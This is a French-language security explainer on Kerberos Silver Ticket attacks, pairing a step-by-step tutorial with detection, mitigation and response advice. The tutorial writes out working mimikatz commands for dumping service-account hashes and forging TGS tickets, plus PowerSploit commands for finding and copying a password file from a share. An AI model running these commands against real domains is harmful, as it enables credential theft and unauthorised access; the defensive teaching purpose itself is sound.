Attaque Silver Ticket
Semblable dans son concept au Golden Ticket, une attaque Silver Ticket consiste à compromettre des identifiants et à abuser de la conception du protocole Kerberos. Cependant, contrairement au Golden Ticket — qui offre à un adversaire un accès sans restriction au domaine — un Silver Ticket permet seulement à un attaquant de forger des tickets TGS (Ticket-Granting Service) pour des services spécifiques. Les tickets TGS sont chiffrés avec le hash du mot de passe du compte de service ; par conséquent, si un adversaire vole le hash d’un compte de service, il peut créer des tickets TGS pour ce service.Même si la portée d’une attaque Silver Ticket peut être plus limitée, il s’agit néanmoins d’un outil puissant dans la panoplie d’un attaquant, permettant un accès persistant et discret aux ressources. Étant donné que seul le hash du mot de passe du compte de service est nécessaire, son exécution est également beaucoup plus facile qu’un attaque Golden Ticket. Des techniques comme l’extraction de hashes depuis LSASS.exe et le Kerberoasting sont des méthodes courantes utilisées par les adversaires pour obtenir les hashes des comptes de service.
Résumé des menaces
Cible : Active Directory
Outils : mimikatz, impacket, PowerSploit
Tactique ATT&CK® : Accès aux identifiants
Technique ATT&CK : T1558.002
Difficulté
Détection : Difficile
Atténuation : Difficile
Réponse : Moyenne
Tutoriel d'attaque : Comment fonctionne une attaque Silver Ticket
ÉTAPE 1
Compromettre les identifiants d'un compte de service
Pour acquérir la capacité de créer des tickets TGS, un adversaire doit d'abord compromettre le hachage de mot de passe d'un compte de service. Dans cet exemple, un adversaire ayant compromis un serveur de fichiers compromet maintenant le hachage de mot de passe d'un compte de service :
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/07/2020 10:26:16
SID : S-1-5-90-0-5
msv :
[00000003] Primary
* Username : FileServer1$
* Domain : DOMAIN
* NTLM : 281fd98680ed31a9212256ada413db50
* SHA1 : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit
Bye!
ÉTAPE 2
Forger des tickets TGS de Kerberos
Des outils comme mimikatz peuvent être utilisés pour créer des Silver Tickets. Le processus pour forger des tickets TGS est similaire à celui de génération des Golden Tickets et, avec mimikatz, on utilise la même méthode kerberos::golden, en spécifiant le hash du mot de passe du compte de service au lieu du krbtgt, ainsi que les paramètres suivants :
/domain— Le nom de domaine complet de l’Active Directory/sid— Le SID du domaine Active Directory/usuario— Le nom d’utilisateur à usurper/target— Le nom de domaine complet du serveur cible/servicio— Le nom du service ciblé/rc4— Le hash du mot de passe NTLM/RC4
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt
User : NonExistentUser
Domain : domain.com (DOMAIN)
SID : S-1-5-21-5840559-2756745051-1363507867
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service : cifs
Target : FileServer1.domain.com
Lifetime : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit
Bye!
ÉTAPE 3
Utilisez les billets contrefaits pour atteindre d'autres objectifs
Dans l'étape précédente, l'adversaire a forgé un ticket argenté et l'a injecté dans une nouvelle session de cmd.exe. Le Silver Ticket que l'attaquant a créé spécifiait le service cifs, ce qui permettra à l'attaquant d'utiliser le TGS forgé pour accéder aux partages de fichiers. Étant donné que le TGS est forgé, il peut être créé pour un utilisateur qui n'existe pas réellement dans le domaine, rendant ainsi plus difficile pour les intervenants de suivre l'adversaire. Dans cet exemple, l'adversaire utilise le ticket forgé et le cmdlet Find-InterestingFile du module PowerShell PowerSploit pour scanner le partage de fichiers à la recherche de données sensibles et les exfiltrer.
PS> Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\
FullName : \\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx
Owner : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime : 27/07/2020 12:47:44
CreationTime : 10/04/2011 10:04:50
Length : 76859
PS> Copy-Item -Path "\\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"
PS>
Détecter, atténuer et répondre
Détecter
Difficulté : Difficile
Le processus normal d'obtention d'un ticket de service pour l'accès aux services implique de demander à un contrôleur de domaine de le générer. Après que l'appelant ait prouvé son identité, le contrôleur de domaine répondra avec un TGS chiffré avec le mot de passe du compte de service. Mais parce que l'adversaire a compromis ce mot de passe, il peut créer des tickets TGS sans communiquer avec le contrôleur de domaine. Ainsi, détecter les Silver Tickets est possible uniquement sur le point de terminaison et implique d'examiner les tickets TGS à la recherche de signes subtils de manipulation, tels que :
- Noms d'utilisateur qui n'existent pas
- Modifications (ajouts ou suppressions) des adhésions aux groupes
- Discordances entre nom d'utilisateur et ID
- Des types de chiffrement plus faibles que la normale ou des durées de vie de ticket qui dépassent le maximum du domaine (la durée de vie par défaut du domaine est de 10 heures ; celle par défaut de mimikatz est de 10 ans)
Le journal des événements Windows contient plusieurs événements d'audit utiles pour détecter les Silver Tickets :
Événement
Source
Information
Audit de l'appartenance aux groupes: ID d'événement 4627
Ordinateurs membres
- Identifiant de sécurité (SID) de l'utilisateur
- Appartenances aux groupes
Audit de connexion: ID d'événement 4624
Ordinateurs membres
- Identifiant de sécurité (SID) de l'utilisateur
- Nom d'utilisateur
- Adresse IP source (indiquant un hôte potentiellement compromis)
Atténuer
Difficulté : Moyenne
Parce que l'abus des Silver Tickets exploite le protocole Kerberos, le risque de leur utilisation ne peut pas être complètement éliminé. Cependant, plusieurs mesures d'atténuation existent qui peuvent rendre plus difficile pour un adversaire de compromettre les hachages de mot de passe des comptes de service.
- Adoptez des pratiques d'hygiène de mot de passe solides pour les comptes de service : Leurs mots de passe doivent être générés de manière aléatoire, comporter un minimum de 30 caractères et être changés régulièrement.
- Activez la validation de PAC. Bien qu'elle présente des limitations connues, il existe certaines situations où elle peut aider à détecter et prévenir les tickets Silver.
- Supprimez les privilèges administratifs des utilisateurs finaux sur les postes de travail membres et adoptez des solutions contrôlées d'élévation de privilèges.
- Réduisez l'accès administratif aux postes de travail et serveurs des membres au strict nécessaire.
- Utilisez des solutions comme Microsoft LAPS pour créer des mots de passe forts, aléatoires et uniques pour les comptes d'administrateurs locaux, et les faire tourner automatiquement de manière périodique.
- Appliquez les atténuations recommandées pour le Kerberoasting.
- Ne permettez pas aux utilisateurs de posséder des privilèges administratifs à travers les frontières de sécurité. Par exemple, un adversaire qui compromet initialement un poste de travail ne devrait pas être capable d'augmenter ses privilèges pour passer du poste de travail à un serveur ou un contrôleur de domaine.
Répondez
Difficulté : Moyenne
Si un Silver Ticket est détecté, les actions de réponse suivantes doivent être prises :
- Activez le processus de réponse aux incidents et alertez l'équipe de réponse aux incidents.
- Mettez en quarantaine tout ordinateur impliqué pour les activités d'investigation, d'éradication et de récupération.
- Réinitialisez le mot de passe du compte de service compromis.
Partager sur
Voir les attaques de cybersécurité associées
Abus des autorisations d'application Entra ID – Fonctionnement et stratégies de défense
Modification de AdminSDHolder – Fonctionnement et stratégies de défense
Attaque AS-REP Roasting - Fonctionnement et stratégies de défense
Attaque Hafnium - Fonctionnement et stratégies de défense
Attaques DCSync expliquées : Menace pour la sécurité d'Active Directory
Attaque Pass the Hash
Comprendre les attaques Golden Ticket
Attaque des comptes de service gérés par groupe
Attaque DCShadow – Fonctionnement, exemples concrets et stratégies de défense
Injection de prompt ChatGPT : Comprendre les risques, exemples et prévention
Attaque d'extraction de mot de passe NTDS.dit
Attaque Kerberoasting – Fonctionnement et stratégies de défense
Explication de l'attaque Pass-the-Ticket : Risques, Exemples et Stratégies de Défense
Attaque par pulvérisation de mots de passe
Attaque d'extraction de mot de passe en clair
Vulnérabilité Zerologon expliquée : Risques, Exploits et Atténuation
Attaques de rançongiciels sur Active Directory
Déverrouillage d'Active Directory avec l'attaque Skeleton Key
Mouvement latéral : Qu'est-ce que c'est, comment ça fonctionne et préventions
Attaques de l'homme du milieu (MITM) : ce qu'elles sont et comment les prévenir
Pourquoi PowerShell est-il si populaire auprès des attaquants ?
4 attaques de compte de service et comment s'en protéger
Comment prévenir les attaques de logiciels malveillants d'affecter votre entreprise
Qu'est-ce que le Credential Stuffing ?
Compromettre SQL Server avec PowerUpSQL
Qu'est-ce que les attaques de Mousejacking et comment se défendre contre elles
Vol de credentials avec un fournisseur de support de sécurité (SSP)
Attaques par tables arc-en-ciel : leur fonctionnement et comment se défendre
Un regard approfondi sur les attaques par mot de passe et comment les arrêter
Reconnaissance LDAP
Contournement de l'authentification multifacteur avec l'attaque Pass-the-Cookie
Attaque Golden SAML